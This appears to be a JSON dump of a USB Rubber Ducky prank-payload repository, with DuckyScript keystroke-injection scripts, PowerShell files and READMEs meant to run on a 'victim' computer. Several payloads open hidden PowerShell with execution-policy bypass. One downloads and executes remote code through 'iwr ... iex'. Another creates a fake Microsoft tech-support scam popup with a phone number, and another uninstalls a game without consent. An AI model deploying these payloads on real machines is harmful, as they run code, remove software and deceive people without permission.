    "content": "[void] [System.Reflection.Assembly]::LoadWithPartialName(\"System.Windows.Forms\");\r\nAdd-Type -Assembly PresentationFramework\r\n# xml of the wpf xaml code. this is the window to be shown\r\n[xml]$xaml = @\"\r\n<Window\r\n    xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\r\n    xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\r\n    Width=\"320\"\r\n    Height=\"240\"\r\n    WindowStyle=\"None\" \r\n    AllowsTransparency=\"True\" \r\n    Background=\"Transparent\" \r\n    Topmost=\"True\" \r\n    ShowInTaskbar=\"False\" \r\n    ResizeMode=\"NoResize\">\r\n    <Grid>\r\n        <Viewbox x:Name=\"DuckViewbox\" xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" Stretch=\"Uniform\">\r\n          <Canvas Name=\"Layer_1\" Width=\"640\" Height=\"480\" Canvas.Left=\"0\" Canvas.Top=\"0\"  RenderTransformOrigin=\"0.5,0.5\">\r\n            <Canvas.RenderTransform>\r\n                <TransformGroup>\r\n                    <ScaleTransform x:Name=\"DuckyScale\" ScaleX=\"-1\"/>\r\n                </TransformGroup>\r\n            </Canvas.RenderTransform>\r\n            <Canvas.Resources/>\r\n            <!--Unknown tag: metadata-->\r\n            <!--Unknown tag: sodipodi:namedview-->\r\n            <Path xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Name=\"path2\" Fill=\"#FFF15A24\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\">\r\n              <Path.Data>\r\n                <PathGeometry Figures=\"m 236.71 379.105 c 0 0 15.237 39.537 12.767 58.895 -12.767 -1.854 -32.535 -6.796 -32.535 -6.796 0 0 -9.678 -1.44 -11.738 0.824 -2.06 2.264 -22.239 2.678 -23.475 4.942 -1.235 2.265 -2.266 5.765 -2.06 8.442 0.207 2.677 -8.648 9.265 -7.619 10.913 1.029 1.648 0 2.06 9.678 2.678 9.678 0.617 80.929 1.441 84.84 0 3.912 -1.442 2.677 -12.149 2.471 -14.827 -0.207 -2.677 -18.122 -62.394 -21.623 -65.071 -3.501 -2.677 -4.943 -4.53 -6.59 -4.324 -1.647 0.206 -4.116 4.324 -4.116 4.324 z\" FillRule=\"NonZero\"/>\r\n              </Path.Data>\r\n\t\t\t\t<Path.Triggers>\r\n\t\t\t\t\t<EventTrigger RoutedEvent=\"Window.Loaded\">\r\n\t\t\t\t\t\t<BeginStoryboard>\r\n\t\t\t\t\t\t\t<Storyboard>\r\n\t\t\t\t\t\t\t\t<DoubleAnimation From=\"0\" To=\"35\" Duration=\"00:00:01\"\r\n\t\t\t\t\t\t\tStoryboard.TargetName=\"path2\"\r\n\t\t\t\t\t\t\tStoryboard.TargetProperty=\"(Canvas.Left)\"\r\n\t\t\t\t\t\t\tAutoReverse=\"True\" RepeatBehavior=\"Forever\"/>\r\n\t\t\t\t\t\t\t</Storyboard>\r\n\t\t\t\t\t\t</BeginStoryboard>\r\n\t\t\t\t\t</EventTrigger>\r\n\t\t\t\t</Path.Triggers>\r\n            </Path>\r\n            <Path xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Name=\"path4\" Fill=\"#FFF15A24\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\">\r\n              <Path.Data>\r\n                <PathGeometry Figures=\"m 295.125 387.11 c 0.57 2.084 4.012 3.529 5.322 5.415 1.521 2.189 3.158 4.339 4.6 6.573 2.977 4.61 5.327 9.352 8.11 13.996 3.083 5.144 6.027 10.228 7.747 15.981 0.76 2.54 3.21 6.122 1.555 8.715 -1.529 2.396 -6.157 2.751 -8.732 2.85 -13.666 0.529 -27.399 2.356 -41.175 1.653 -3.563 -0.182 -7.601 -0.675 -11.114 0.046 -2.211 0.454 -7.535 0.332 -8.68 2.641 -1.548 3.125 2.679 4.707 3.261 7.439 0.532 2.495 -1.232 7.147 0.495 9.049 1.76 1.938 7.09 1.217 9.472 1.688 3.12 0.619 6.549 0.665 8.939 2.644 5.092 4.212 9.153 7.027 15.656 7.703 6.848 0.71 13.464 -0.589 20.046 -1.654 2.795 -0.453 5.258 -1.797 8.061 -2.492 3.057 -0.759 5.883 -1.205 8.687 -2.457 4.99 -2.23 10.663 -5.058 15.247 -8.526 4.371 -3.306 9.693 -7.151 8.938 -13.61 -0.595 -5.099 -5.257 -9.845 -8.07 -13.836 -1.54 -2.185 -2.372 -4.854 -3.876 -7.275 -1.546 -2.487 -3.848 -4.371 -5.372 -6.997 -3.106 -5.339 -6.187 -10.626 -10.127 -15.536 -1.645 -2.047 -3.355 -4.463 -5.271 -6.304 -1.238 -1.188 -2.564 -2.273 -3.513 -3.58 -0.748 -1.033 -1.278 -2.461 -2.263 -3.447 -2.027 -2.022 -4.501 -3.383 -6.568 -5.265 -2.117 -1.926 -4.144 -3.803 -6.452 -5.534 -2.18 -1.636 -6.334 -2.913 -9.215 -1.808 -2.962 1.136 -3.74 5.54 -3.14 8.405 0.606 2.904 3.602 3.971 6.401 3.938\" FillRule=\"NonZero\"/>\r\n              </Path.Data>\r\n\t\t\t\t<Path.Triggers>\r\n\t\t\t\t\t<EventTrigger RoutedEvent=\"Window.Loaded\">\r\n\t\t\t\t\t\t<BeginStoryboard>\r\n\t\t\t\t\t\t\t<Storyboard>\r\n\t\t\t\t\t\t\t\t<DoubleAnimation From=\"0\" To=\"-35\" Duration=\"00:00:01\"\r\n\t\t\t\t\t\t\tStoryboard.TargetName=\"path4\"\r\n\t\t\t\t\t\t\tStoryboard.TargetProperty=\"(Canvas.Left)\"\r\n\t\t\t\t\t\t\tAutoReverse=\"True\" RepeatBehavior=\"Forever\"/>\r\n\t\t\t\t\t\t\t</Storyboard>\r\n\t\t\t\t\t\t</BeginStoryboard>\r\n\t\t\t\t\t</EventTrigger>\r\n\t\t\t\t</Path.Triggers>\r\n            </Path>\r\n            <Path xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Name=\"path6\" Fill=\"#FFFBB03B\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\">\r\n              <Path.Data>\r\n                <PathGeometry Figures=\"m 547 213 c -5 195.449 -202 195.449 -315.54 195.449 -70.991 0 -128.54 -57.55 -128.54 -128.54 0 -70.991 57.549 -128.54 128.54 -128.54 C 302.451 151.369 381 262 547 213 Z\" FillRule=\"NonZero\"/>\r\n              </Path.Data>\r\n            </Path>\r\n            <Ellipse xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Canvas.Left=\"124.3\" Canvas.Top=\"31.5\" Width=\"165\" Height=\"165\" Name=\"circle8\" Fill=\"#FFFBB03B\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\"/>\r\n            <Path xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Name=\"path10\" Fill=\"#FFF15A24\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\">\r\n              <Path.Data>\r\n                <PathGeometry Figures=\"m 60.697 124.416 c 7.819 39.094 44.355 36.277 68.726 36.277 15.656 0 28.347 -12.692 28.347 -28.347 0 -15.656 -12.69 -28.347 -28.347 -28.347 -14.871 0 -30.469 22.551 -64.097 15.042 -2.398 0.001 -4.629 2.344 -4.629 5.375 z\" FillRule=\"NonZero\"/>\r\n              </Path.Data>\r\n            </Path>\r\n            <Ellipse xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Canvas.Left=\"158.8\" Canvas.Top=\"68\" Width=\"40\" Height=\"40\" Name=\"circle12\" Fill=\"#FFFFFFFF\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\"/>\r\n            <Ellipse xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\" Canvas.Left=\"171.3\" Canvas.Top=\"80.5\" Width=\"15\" Height=\"15\" Name=\"circle14\" Fill=\"#000000\" StrokeThickness=\"5\" Stroke=\"#FF000000\" StrokeMiterLimit=\"10\"/>\r\n          </Canvas>\r\n        </Viewbox>\r\n    </Grid>\r\n</Window>\r\n\"@\r\n# the direction the duck is traveling in\r\n$goingRight = $true;\r\n# get the screen\r\n$Screen = [System.Windows.Forms.Screen]::PrimaryScreen;\r\n# create a reader for the xml\r\n$reader = (New-Object System.Xml.XmlNodeReader $xaml)\r\n# create the window from the reader\r\n$window = [Windows.Markup.XamlReader]::Load($reader)\r\n# find the ScaleTransform for the Canvas on the window\r\n# this is used for fliping the image\r\n$duck = $window.FindName(\"DuckyScale\")\r\n# add right click to window to close it\r\n$handler = [Windows.Input.MouseButtonEventHandler]{ \r\n    $Timer.Stop();\r\n    $window.Close(); \r\n    $_.Handled = $true; }\r\n$window.Add_MouseRightButtonDown($handler);\r\n# get task bar height\r\n# Note: this is expecting is to be top or bottom\r\n$taskbar = ($Screen.Bounds.Height - $Screen.WorkingArea.Height);\r\n# set the window postion\r\n$window.Left = $Screen.WorkingArea.Left;\r\n$window.Top = $Screen.Bounds.Height - $window.Height;\r\nif ($Screen.WorkingArea.Top -eq 0)\r\n{\r\n    $window.Top = $window.Top - $taskbar;\r\n}\r\n# timer that is used to move the window\r\n$Timer = New-Object System.Windows.Forms.Timer;\r\n$Timer.Interval = 200;\r\n$Timer.add_Tick(\r\n    {\r\n        if($goingRight)\r\n        {\r\n\t\t\t# check to see if we are going of the edge\r\n            if(($window.Left + 5) -lt ($Screen.WorkingArea.Width - $window.Width))\r\n            {\r\n                $window.Left = ($window.Left + 5)\r\n            }\r\n            else\r\n            {\r\n\t\t\t\t# flip image\r\n                $duck.ScaleX = 1;\r\n\t\t\t\t#change direction\r\n                $script:goingRight = !$goingRight;\r\n            }\r\n        }else\r\n        {\r\n\t\t\t# check to see if we are going of the edge\r\n            if(($window.Left - 5) -gt 0)\r\n            {\r\n                $window.Left = ($window.Left - 5)\r\n            }\r\n            else\r\n            {\r\n                $duck.ScaleX = -1;\r\n                $script:goingRight = !$goingRight;\r\n            }\r\n        }\r\n    }\r\n); \r\n$Timer.Start();\r\n\r\n$window.ShowDialog()\r\n$Timer.Dispose()"
  },
  {
    "path": "payloads/library/prank/Win_PoSH_DesktopDuck/payload.txt",
    "content": "REM TITLE DesktopDuck\r\nREM AUTHOR Cribbit\r\nREM DESCRIPTION Shows a Duck that move along the bottom of the screen\r\nREM DUCKY VERSION 2\r\nATTACKMODE HID STORAGE\r\nDELAY 3000\r\nGUI r\r\nDELAY 200\r\nSTRING powershell -Noni -NoP -W h -EP Bypass iex((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter+':\\DesktopDuck.ps1')\r\nENTER"
  },
  {
    "path": "payloads/library/prank/Win_PoSH_DesktopDuck/readme.md",
    "content": "# Desktop Duck\r\n- Author: Cribbit\r\n- Version: 1.0\r\n- Target: Windows 10 (Powershell 5.1+) + .net wpf\r\n- Category: Pranks\r\n- Attackmode: HID & Storage\r\n- Ducky Version: 2\r\n\r\n## Change Log\r\n| Version | Changes         |\r\n| ------- | --------------- |\r\n| 1.0     | Initial release |\r\n\r\n## Description\r\nShows a Duck that move along the bottom of the screen.\r\n\r\nCreates a WPF window which is inviable apart form an image of a duck.\r\nThen the script moves the screen along the bottom of the desktop. \r\nWhen it reaches to far side it flips the image and move the duck in the opposite direction.\r\n\r\n![Demo](demo.gif)\r\n\r\n## How to get ride of the duck\r\nRight Click on the duck will close the window.\r\n"
  },
  {
    "path": "payloads/library/prank/WindowS_PoP_uP/WindowS_PoP_uP",
    "content": "REM Title: WindowS_PoP_uP\nREM Author: LulzAnarchyAnon\nREM Description: Old School fun meets modern day with this payload. \nREM Description: So for starters notepad is opened, and a few choice words are typed out ;)\nREM Afterwards the notepad file is saved as an Error.bat to the Desktop, and notepad closes.\nREM The hapless victim notices the new addition to the desktop, and begins to click away having\nREM no idea it's just a prank, As they sweat their way with hesitation through each mouse click.\nREM Only To See.... THIS IS ONLY A PRANK! at the END! As the last ok is clicked the pop up \nREM closes FOREVER! Leaving the victim unsure of what just happened.... :)\nREM Target: Windows 10  \nREM Props: Darren Kitchen and I am Jakoby\nREM Version: 1.0\nREM Category: Prank\n\n\nGUI r\nDELAY 20\nSTRING notepad \nENTER\nDELAY 100\nSTRING @echo off\nSTRING msg * ***COMPUTER HEALTH ALERT***\nDELAY 50\nENTER\nSTRING msg * Microsoft Security Error\nDELAY 50\nENTER\nSTRING msg * Due to suspicious activity on your computer\nDELAY 50\nENTER\nSTRING msg * Please contact a Microsoft Certified Technician\nDELAY 50\nENTER\nSTRING msg * +1877-600-4257 (Toll Free)\nDELAY 50\nENTER\nSTRING msg * Please wait ...........\nDELAY 50\nENTER\nSTRING msg * Please wait ...........\nDELAY 50\nENTER\nSTRING msg * Please wait ...........\nDELAY 50\nENTER\nSTRING msg * Please wait ...........\nDELAY 50\nENTER\nSTRING msg * THIS IS ONLY A PRANK!\nDELAY 50\nCTRL s\nDELAY 100\nSTRING Microsoft Error.bat\nDELAY 200\nALT d\nDELAY 200\nSHIFT \nDELAY 200\nSPACE\nDELAY 200\nSTRING Desktop\nDELAY 200\nENTER\nDELAY 200\nALT s\nDELAY 800\nALT f\nSHIFT x\n"
  },
  {
    "path": "payloads/library/prank/YouHaveBeenQuacked2.0/payload.txt",
    "content": "REM Title: YouHaveBeenQuacked\nREM Author: LulzAnarchyAnon\nREM Description: A speech synthesizer with the volume increased to 100% states \"you have been quacked\" followed by a browser image \"You've Been Quacked!\" and a \"Quacked\" REM Youtube video.\nREM Target: Windows 10 (Powershell)\nREM Props: Hak5\nREM Version: 2.0\nREM Category: Prank\nREM This payload is based off the original Hak5 \"QUACKED\" payload, and was created for my own personal amusement \n\nGUI r\nDELAY 200\nSTRING powershell -windowstyle hidden\nENTER\nDELAY 200\nSTRING $key=[Math]::Ceiling(100/2);$obj=New-Object -ComObject WScript.Shell;for($i=0;$i -lt $key;$i++){$obj.SendKeys([char] 175)}\nENTER\nDELAY 500\nSTRING $sp=New-Object -ComObject SAPI.SpVoice\nENTER\nDELAY 500\nSTRING $sp.Speak(\"you have been quacked.\")\nENTER\nDELAY 100\nSTRING start firefox https://loginportal.funnyjunk.com/pictures/Mytril+urorubragg+taboo+quacked_d7d9b1_6228073.jpg\nENTER\nDELAY 2000\nGUI r\nDELAY 200\nSTRING powershell -windowstyle hidden\nENTER\nDELAY 200\nSTRING start firefox https://www.youtube.com/watch?v=CRkzItBabzs\nENTER\nDELAY 2000\nENTER\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/prank/cApS-Troll/README.md",
    "content": "<h1 align=\"center\">\n  <a href=\"https://git.io/typing-svg\">\n    <img src=\"https://readme-typing-svg.herokuapp.com/?lines=Welcome+to+;cApS+Troll+😈&center=true&size=30\">\n  </a>\n</h1>\n\n<!-- TABLE OF CONTENTS -->\n<details>\n  <summary>Table of Contents</summary>\n  <ol>\n    <li><a href=\"#Description\">Description</a></li>\n    <li><a href=\"#getting-started\">Getting Started</a></li>\n    <li><a href=\"#Contributing\">Contributing</a></li>\n    <li><a href=\"#Version-History\">Version History</a></li>\n    <li><a href=\"#Contact\">Contact</a></li>\n    <li><a href=\"#Acknowledgments\">Acknowledgments</a></li>\n  </ol>\n</details>\n\n# cApS-Troll\n\nThis payload is meant to prank your victim with TURNING on AND off CAPS LOCK\n\n## Description\n\nThis payload is meant to prank your victim with TURNING on AND off CAPS LOCK\n\n## Getting Started\n\n### Dependencies\n\n* Pastebin or other file sharing service, Discord webhook or other webhook service\n* Windows 10,11\n* [Here](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks) is a tutorial on how to use Discord webhooks \n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n### Executing program\n\n* Plug in your device\n* Define the `DEFINE TARGET_URL example.com`\n* Device will download both files and place them in proper directories to then run the script\n```\npowershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl\n```\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Contributing\n\nAll contributors names will be listed here:\n\n[atomiczsec](https://github.com/atomiczsec) &\n[I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n## Version History\n\n* 0.1\n    * Initial Release\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- CONTACT -->\n## Contact\n\n<h2 align=\"center\">📱 My Socials 📱</h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.youtube.com/channel/UC-7iJTFN8-CsTTuXd3Va6mA?sub_confirmation=1\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/youtube-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"C#\" />\n      </a>\n      <br>YouTube\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://twitter.com/atomiczsec\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/twitter.png width=\"48\" height=\"48\" alt=\"Python\" />\n      </a>\n      <br>Twitter\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://discord.gg/MYYER2ZcJF\">\n        <img src=https://github.com/I-Am-Jakoby/I-Am-Jakoby/blob/main/img/discord-v2-svgrepo-com.svg width=\"48\" height=\"48\" alt=\"Jsonnet\" />\n      </a>\n      <br>I-Am-Jakoby's Discord\n    </td>\n  </tr>\n</table>\n</div>\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n\n\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n\n<!-- ACKNOWLEDGMENTS -->\n## Acknowledgments\n\n* [Hak5](https://hak5.org/)\n* [I-Am-Jakoby](https://github.com/I-Am-Jakoby)\n\n<p align=\"right\">(<a href=\"#top\">back to top</a>)</p>\n"
  },
  {
    "path": "payloads/library/prank/cApS-Troll/a.ps1",
    "content": "﻿while (1){\r\nStart-Sleep -Second 45\r\n$wsh = New-Object -ComObject WScript.Shell\r\n$wsh.SendKeys('{CAPSLOCK}')\r\nStart-Sleep -Second 15\r\n$wsh = New-Object -ComObject WScript.Shell\r\n$wsh.SendKeys('{CAPSLOCK}')\r\nStart-Sleep -Second 15\r\n$wsh = New-Object -ComObject WScript.Shell\r\n$wsh.SendKeys('{CAPSLOCK}')\r\nStart-Sleep -Second 15\r\n$wsh = New-Object -ComObject WScript.Shell\r\n$wsh.SendKeys('{CAPSLOCK}')\r\nStart-Sleep -Second 15\r\n$wsh = New-Object -ComObject WScript.Shell\r\n$wsh.SendKeys('{CAPSLOCK}')\r\n} "
  },
  {
    "path": "payloads/library/prank/cApS-Troll/payload.txt",
    "content": "REM     Title: cApS-Troll\r\n\r\nREM     Author: atomiczsec\r\n\r\nREM     Description: This payload is meant to prank your victim with TURNING on AND off CAPS LOCK\r\n\r\nREM     Target: Windows 10\r\n\r\n\r\nDEFINE TARGET_URL example.com\r\n\r\nDELAY 2000\r\nGUI r\r\nDELAY 500\r\nSTRING powershell -w h -NoP -NonI -ep Bypass $pl = iwr TARGET_URL dl=1; iex $pl\r\nENTER\r\n\r\nREM     Remember to replace the link with your DropBox shared link for the intended file to download in the DEFINE constant\r\nREM     Also remember to replace ?dl=0 with ?dl=1 at the end of your link so it is executed properlymode con:cols=14 lines=1"
  },
  {
    "path": "payloads/library/prank/lol_killer/payload.txt",
    "content": "REM Title: lol_killer\nREM Author: Skelly\nREM Description: Script to uninstall League of Legends from the target system. Save your friends from their horrible addiction.  \nREM Target: Windows 10\nREM Version: 1.0\nREM Category: Prank\nDELAY 1000 \nGUI i \nDELAY 1000 \nSTRING apps and features \nDELAY 1000\nENTER\nDELAY 1000\nENTER \nTAB\nTAB\nTAB\nDELAY 1000\nSTRING league of legends\nENTER\nDELAY 1000\nTAB\nTAB\nTAB\nDELAY 1000\nENTER\nTAB\nENTER\nDELAY 1000 \nENTER \nALT F4\nALT F4 "
  },
  {
    "path": "payloads/library/prank/macOS_rickroll/payload.txt",
    "content": "REM Title:\tmacOS rickroll\nREM Author:\tNils Streedain\nREM Description:Opens a rickroll in YouTube in full screen at maximum volume.\nREM Target:\tmacOS 11.0+\nREM Version:\t1.0\nREM Category:\tPrank\nREM Source: https://github.com/nilsstreedain/Ducky-Scripts/\n\nDELAY 100\nCOMMAND SPACE\nDELAY 10\nSTRING terminal\nDELAY 100\nENTER\nDELAY 100\nSTRING open 'https://www.youtube.com/watch?v=dQw4w9WgXcQ'\nENTER\nDELAY 1000\nCOMMAND TAB\nDELAY 10\nSTRING osascript -e 'set volume 7' && killall Terminal\nENTER\nDELAY 1500\nSTRING f\n"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/README.md",
    "content": "# \"Mr. Robot\" - eXit\n\n- Title:         \"Mr. Robot\" - eXit\n- Author:        TW-D\n- Version:       1.0\n- Category:      Prank\n\n## Description\n\n![banner](./readme_files/banner.jpg)\n\nYou're Elliot, playing the **eXit** adventure game that Whiterose left you \non an old computer to put an end to his project *(S4E11)*.\n\n## Configuration\n\nIn the \"payload.txt\" file, replace the values of the following constants :\n\n```\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Enable/Disable hints.\nREM - TRUE if you don't know the exact answers given by Elliot in both parts.\nREM - FALSE only if you know the exact answers given by Elliot in both parts.\nREM ---\nDEFINE #HINT TRUE\n\n```\n\n## Usage\n\nAt the root of the USB Rubber Ducky, copy the \"prank_files/\" folder.\n\n## Screenshots\n\n>\n> Without hints.\n>\n\n![hint-false](./readme_files/hint-false.png)\n\n>\n> With hints.\n>\n\n![hint-true](./readme_files/hint-true.png)"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/payload.txt",
    "content": "REM TITLE : \"Mr. Robot\" - eXit\nREM AUTHOR : TW-D\nREM TARGET : Microsoft Edge\nREM VERSION : 1.0\nREM CATEGORY : Prank\nREM REQUIREMENT : DuckyScript 3.0\n\nATTACKMODE HID STORAGE\nDELAY 15000\n\nREM ---\nREM USB Rubber Ducky label.\nREM ---\nDEFINE #RD_LABEL DUCKY\n\nREM ---\nREM Enable/Disable hints.\nREM - TRUE if you don't know the exact answers given by Elliot in both parts.\nREM - FALSE only if you know the exact answers given by Elliot in both parts.\nREM ---\nDEFINE #HINT TRUE\n\nSAVE_HOST_KEYBOARD_LOCK_STATE\n\nIF ( $_CAPSLOCK_ON ) THEN\n    CAPSLOCK\n    DELAY 500\nEND_IF\n\nIF ( $_NUMLOCK_ON == FALSE ) THEN\n    NUMLOCK\n    DELAY 500\nEND_IF\n\nGUI r\nDELAY 1500\nSTRINGLN CMD /K \"MODE CON:COLS=18 LINES=1 && FOR /F %d IN ('WMIC Volume GET DriveLetter^, Label^|FINDSTR \"#RD_LABEL\"') DO @SET RD_LABEL=%d\"\nDELAY 2000\nSTRINGLN START MSEDGE --app=\"file:///%RD_LABEL%/prank_files/index.html?hint=#HINT\" --kiosk --kiosk-idle-timeout-minutes=0 --edge-kiosk-type=fullscreen --disable-features=Translate --no-first-run\n\nRESTORE_HOST_KEYBOARD_LOCK_STATE"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/css/banner.css",
    "content": "#banner {\n    background-position-x: center;\n    background-position-y: center;\n    background-repeat: no-repeat;\n    background-size: contain;\n    min-width: 100vw;\n    max-width: 100vw;\n    min-height: 50vh;\n    max-height: 50vh;\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/css/global.css",
    "content": "html,\nbody {\n    background-color: black;\n    padding: 0;\n    margin: 0;\n}\n\nmain {\n    font-family: monospace;\n    font-size: xx-large;\n    margin-top: 10vh;\n    color: white;\n}\n\n.issue,\n.prompt {\n    justify-content: center;\n    align-items: center;\n    display: flex;\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/css/issue.css",
    "content": "@keyframes alert {\n    50% {\n        border-color: transparent;\n    }\n}\n\n#issue {\n    animation-iteration-count: infinite;\n    animation-duration: 2s;\n    animation-name: alert;\n    border-width: 0.5vw;\n    border-color: red;\n    border-style: ridge;\n    padding: 2vh;\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/css/off.css",
    "content": "#off {\n    background-color: white;\n    margin-top: 50vh;\n    display: none;\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/css/prompt.css",
    "content": "#prompt {\n    background-color: black;\n    caret-color: white;\n    font-size: large;\n    color: white;\n    border: none;\n}\n\n#prompt:focus {\n    outline: none;\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/constants.js",
    "content": "const SCREEN = document.querySelector('#screen');\n\nconst BANNER = document.querySelector('#banner');\n\nconst ISSUE = document.querySelector('#issue');\n\nconst HINT = (new URLSearchParams(document.location.search).get('hint'));\n\nconst PROMPT = document.querySelector('#prompt');\n\nconst LEVELS = [\n    [\n        {\n            \"banner\": \"./assets/images/barrel.png\",\n            \"issue\": \"You're trapped in a dungeon with your friend. <br /> You see a barrel. What do you do ?\",\n            \"response\": \"Move the barrel\"\n        },\n        {\n            \"banner\": \"./assets/images/tunnel.png\",\n            \"issue\": \"The barrel rolls aside and you find a secret tunnel. <br /> What do you do ?\",\n            \"response\": \"Enter tunnel\"\n        },\n        {\n            \"banner\": \"./assets/images/friend.png\",\n            \"issue\": \"You start to escape but your friend is too weak to <br /> go with you. They hand you a note. What do you do ?\",\n            \"response\": \"Read note\"\n        },\n        {\n            \"banner\": \"./assets/images/note.png\",\n            \"issue\": \"It is too dark to read the note. <br /> What do you do ?\",\n            \"response\": \"Leave\"\n        },\n        {\n            \"banner\": \"./assets/images/crawl.png\",\n            \"issue\": \"You crawl through the tunnel and the tunnel leads <br /> you to a beach. What do you do ?\",\n            \"response\": \"Look\"\n        },\n        {\n            \"banner\": \"./assets/images/boat.png\",\n            \"issue\": \"In the water you see a boat. <br /> What do you do ?\",\n            \"response\": \"Get on the boat\"\n        },\n        {\n            \"banner\": \"./assets/images/world.png\",\n            \"issue\": \"Congratulations, you're heading to a new world ! <br /> Do you want to play again ?\",\n            \"response\": \"Yes\"\n        }\n    ],\n    [\n        {\n            \"banner\": \"./assets/images/barrel.png\",\n            \"issue\": \"You're trapped in a dungeon with your friend. <br /> You see a barrel. What do you do ?\",\n            \"response\": \"Sit down next to my friend\"\n        },\n        {\n            \"banner\": \"./assets/images/note.png\",\n            \"issue\": \"Your friend hands you a note. <br /> What do you do ?\",\n            \"response\": \"Light a match\"\n        },\n        {\n            \"banner\": \"./assets/images/message.png\",\n            \"issue\": \"The note says, \\\"Don't leave me here\\\". <br /> Do you leave your friend or stay ?\",\n            \"response\": \"Stay\"\n        },\n        {\n            \"banner\": false,\n            \"issue\": false,\n            \"response\": false\n        }\n    ]\n];\n\nconst OFF = document.querySelector('#off');"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/off.js",
    "content": "async function off() {\n    SCREEN.style.display = 'none';\n    OFF.style.display = 'block';\n    for (let reducer = 100; reducer >= 0; reducer -= 10) {\n        OFF.style.width = `${reducer}%`;\n        await sleep(25);\n    }\n    OFF.style.display = 'none';\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/sleep.js",
    "content": "async function sleep(ms) {\n    await new Promise(\n        function (resolve) {\n            setTimeout(\n                function () {\n                    resolve();\n                },\n                ms\n            );\n        }\n    );\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/functions/stage.js",
    "content": "function stage(level, iterator) {\n    let stage;\n    stage = LEVELS[level][iterator];\n    if (stage.banner && stage.issue && stage.response) {\n        BANNER.style.backgroundImage = `url(\"${stage.banner}\")`;\n        ISSUE.innerHTML = stage.issue;\n        let response;\n        response = stage.response;\n        PROMPT.placeholder = (HINT === 'TRUE') ? response : `${response.charAt(0)}...`;\n        PROMPT.value = null;\n        return response;\n    } else {\n        off();\n    }\n}"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/main.js",
    "content": "PROMPT.onkeypress = function (event) {\n    if (\n        (event.key === 'Enter') &&\n        (level < LEVELS.length) &&\n        (PROMPT.value === response)\n    ) {\n        iterator++;\n        if (iterator === LEVELS[level].length) {\n            level++;\n            iterator = 0;\n            response = stage(level, iterator);\n            ISSUE.style.animationDuration = '1s';\n        } else {\n            response = stage(level, iterator);\n        }\n    }\n};"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/assets/js/variables.js",
    "content": "var level;\nlevel = 0;\n\nvar iterator;\niterator = 0;\n\nvar response;\nresponse = stage(level, iterator);"
  },
  {
    "path": "payloads/library/prank/mr-robot_eXit/prank_files/index.html",
